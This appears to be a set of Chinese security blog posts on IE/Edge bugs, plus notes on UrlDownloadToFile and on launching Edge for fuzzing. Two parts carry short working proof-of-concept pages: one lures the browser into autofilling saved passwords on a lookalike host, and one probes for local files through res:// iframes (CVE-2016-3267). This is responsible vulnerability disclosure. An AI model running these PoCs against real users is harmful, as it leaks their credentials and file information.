一个被认为不是安全问题的提交

提交时间:3-18
最终确认时间:4-10

MSRC: 存在问题但不严重,不修复。
影响范围:IE/EDGE

<input type="text" id="url" value="http://localhost.fbi.gov/a.htm" /><button onclick="document.getElementById('www').src=document.getElementById('url').value">Navigate</button><br/>
<iframe src="about:blank" id="www"></iframe>

<p>---------------------------------------------------------------</p>
<p>step1: put this html in http://127.0.0.1/a.htm </p>
<p>step2: fill the form below and remember the password</p>
</p>
<form action="b.htm" method="post"><input type="text" id="username" name="username"/><input type="password" id="password" name="password"/><br /><input type="submit"  name="commit" value="Log in"/></form><button onclick = "javascript:alert('stored password' + document.getElementById('password').value + ',from: ' + location.href)"> show password </button>
<p>step3: back to this page, navigate to "http://localhost.fbi.gov/a.htm" or whatever website which has same form as the code above.</p><p>
step4: user can fill the form with remembered account/password in 127.0.0.1.
</p>

CVE-2016-3267 漏洞细节

几个月前(http://www.nul.pw/2016/03/21/143.html)报告的漏洞,微软现在已经修复。
MS16-119 Microsoft Browser Information Disclosure Vulnerability CVE-2016-3267 Wenxiang Qian of Tencent QQBrowser

今天在seebug看到一篇paper(http://paper.seebug.org/64/),与我报的这个类似。从当时观察res相关处理逻辑的代码来看,这一块就整个是一个大坑。

鉴于这个漏洞十分简单,而且已经超过了6个月的缓和期,我就直接公开了。以下是CVE-2016-3267的细节,也是我报告时的原文(的汉译文)。

PoC by blast(Qian Wenxiang)

 <iframe id="r" src="res://c:\windows\system32\cmd.exe/3/1" onreadystatechange="document.getElementById('log').innerText+=readyState+','"></iframe>
<div id="log"></div>

<textarea style="width:100%;height:100%">
File Exists:
IE11= interactive,interactive
IE10- = interactive,complete

File Doesn't Exist:
IE11= loading,interactive
IE10- = interactive,complete

so you can tell it in ie11;
</textarea>

漏洞影响
我注意到你们在元素中已经禁止加载res协议的URI了,在CImgHelper::SetImgCtx中有一个检查v31 = CMarkup::CheckForLMZLLoad(v8, 1)会阻止图片的加载,不过攻击者仍然可以通过Iframe来在互联网域下加载一个资源URI。

通过使用readyState属性,攻击者可以检测本地文件是否存在。例如,"interactive,interactive,"代表文件存在并且被载入了iframe,而"loading, interactive"代表文件不存在。

IE11以下的版本(IE5~10)并不受影响,IE5-10不管文件是否存在,readyState状态变化都为"interactive,complete"。也许你们(微软)应该统一IE11为低版本的策略。

文件重定向与UrlDownloadToFile的丝丝纠缠

在wow64进程中,UrlDownloadToFile的逻辑是先把文件down到缓存目录,然后再从缓存目录MoveFile到目标地址。看起来没问题。

如果system启动了一个进程,那么这个进程的temp目录一般在c:\windows\syswow64\config\appdata\local\temp下。

假如我关闭了文件重定向,那么UrlDownloadToFile会产生什么样奇怪的化学反应呢?答案是:bug。

system启动的进程,关闭了文件重定向,然后调用UrlDownloadToFile。

UrlDownloadToFile会把文件缓存到c:\windows\syswow64\config...下,然后从c:\windows\ system32\config...把缓存文件移动到目标目录。

因为文件重定向关闭了,system32不会重定向到syswow64下,MoveFile失败。UrlDownloadToFile也宣告失败。

不过,估计微软也没考虑过这种倒霉情景。

解决方案:

UrlDownloadToFile下载到某个不会重定向的目录。
开启重定向。
MoveFileEx到所需位置。

fuzz程序的第一步:打开edge的几种方法

Edge属于Universal App,这类程序不能简单的通过CreateProcess系列函数打开,有人问我打开Edge的几种方式,这里总结一下。如果要给它做Fuzz的话,可以考虑下面三种打开方式去启动Edge。

本文授权drops.wiki及本站共发

0x01 第一种方式——ShellExecute

第一种方式,利用系统自动调用默认浏览器的功能,即:
设置默认浏览器为Edge。
使用ShellExecute(0, L"OPEN", L"HTTP://YOUR-START-PAGE/", NULL, NULL, SW_SHOW);走系统的默认浏览器逻辑启动Edge。

(通过explorer 参数或者.url快捷方式等来启动Edge也属于同样的方式)

这里的流程如下:

ShellExecuteW(ShellExecuteW就是ShellExecuteExW的wrapper)
↓
ShellExecuteExW(ShellExecuteExW则是ShellExecuteNormal的wrapper)
↓
ShellExecuteNormal(可以当作是正式的启动了。在ShellExecuteNormal中,代码创建一个CShellExecute的类的实例,然后调用其ExecuteNormal方法)
↓
CShellExecute::ExecuteNormal(根据启动参数[要启动的文件后缀为.CMD时,或者调用者含有同步原语时不满足]决定是否要使用新线程来调用,传入OPEN打开URL时,满足该判断)
↓
CShellExecute::_RunThreadMaybeWait(执行线程代码简单,创建事件并在新线程中执行具体的启动代码)
↓
pfnThreadProc(调用启动进程的入口CShellExecute::_DoExecute)
↓
CShellExecute::_DoExecute
↓
CShellExecute::_InvokeCtxMenu(它会把获取到的IContextMenu[000214E4-0000-0000-C000-000000000046]接口传给InvokeInProcExec)
↓
CShellExecute::_InvokeInProcExec(根据操作获取CmdId,传给DefFolderMenu::InvokeCommand)
↓
DefFolderMenu::InvokeCommand(这是一个巨大的函数,检测到连接打开的这种情况时,使用HDXA_LetHandlerProcessCommandEx来处理)
↓
HDXA_LetHandlerProcessCommandEx
↓
SHELL32!CRegistryVerbsContextMenu::InvokeCommand(打开URL的这个动作需要读取注册表中指定的动词[open],这里开始都是根据注册表关联的动词来启动关联程序)
↓
SHELL32!CRegistryVerbsContextMenu::_Execute
↓
windows_storage!CRegDataDrivenCommand::InvokeFromContextMenu
↓
windows_storage!CRegDataDrivenCommand::_Invoke
↓
windows_storage!CRegDataDrivenCommand::_TryInvokeAssociation
↓
windows_storage!CBindAndInvokeStaticVerb::Execute
↓
windows_storage!CBindAndInvokeStaticVerb::_TryExecuteCommandHandler
↓
windows_storage!CBindAndInvokeStaticVerb::_DoCommand
↓
twinui!CAssociationLaunchExecuteCommand::Execute

0x02 第二种方式——microsoft-edge protocol

Win8开始Windows提供的Custom Protocol Activation技术让edge有了这个新启动方式,Windows允许桌面程序和runtime app注册成某个URL scheme name的默认打开程序。通过Manifest注册关联程序的方式可以参考:https://msdn.microsoft.com/en-us/library/windows/apps/hh452686.aspx

UWP Edge可以在:
打开%SYSTEMROOT%\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe,这是Edge的App目录,8wxxx就是它的APPID。
打开AppxManifest.xml, 可以看到与之关联的协议之一:

        <uap:Extension Category="windows.protocol">
            <uap:Protocol Name="microsoft-edge">
                <uap:Logo>Assets\MicrosoftEdgeFile.png</uap:Logo>
            </uap:Protocol>
        </uap:Extension>

HKEY_CURRENT_USER\SOFTWARE\Classes\Extensions\ContractId\Windows.Protocol\PackageId\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe\ActivatableClassId\ 下即为支持的协议,MicrosoftEdge.AppXeb42j1vh6rk395pm0vmcx57dxqjhej5d.mca是microsoft-edge的项目。

使用microsof-edge protocol。这意味着在C++中只需要CreateProcess系列指定参数为explorer microsoft-edge:http://www.baidu.com/,或者ShellExecute中open microsoft-edge:http://xxx/即可启动。这种方式启动的Edge,不需要用户设置默认浏览器。

所以,许多更愿意把Edge当备胎的用户应该会比较喜欢使用这种方式。

0x03 第三种方式(正经的)——IApplicationActivationManager 接口

直接上代码吧。

// testCallApplicationActivationManager.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <shobjidl.h>
#include <windows.h>
#include <atlcomcli.h>

int main()
{
    CComPtr<IApplicationActivationManager> piaam;
    CComPtr<IUnknown> punk;

    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    LPCWSTR appId = L"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge";
    IApplicationActivationManager* paam = NULL;
    HRESULT hr = E_FAIL;
    LPCWSTR url = L"www.wooyun.org";
    do
    {
        hr = CoCreateInstance(CLSID_ApplicationActivationManager, NULL, 
            CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&paam));
        if (FAILED(hr))
            break;
        DWORD pid = 0;
        hr = paam->ActivateApplication(appId, url, AO_NONE, &pid);
        if (FAILED(hr))
            break;
    } while (0);

    return 0;
}

参考资料
【1】UWP是什么:https://msdn.microsoft.com/en-us/windows/uwp/get-started/whats-a-uwp
【2】https://www.microsoft.com/msj/0199/com/com0199.aspx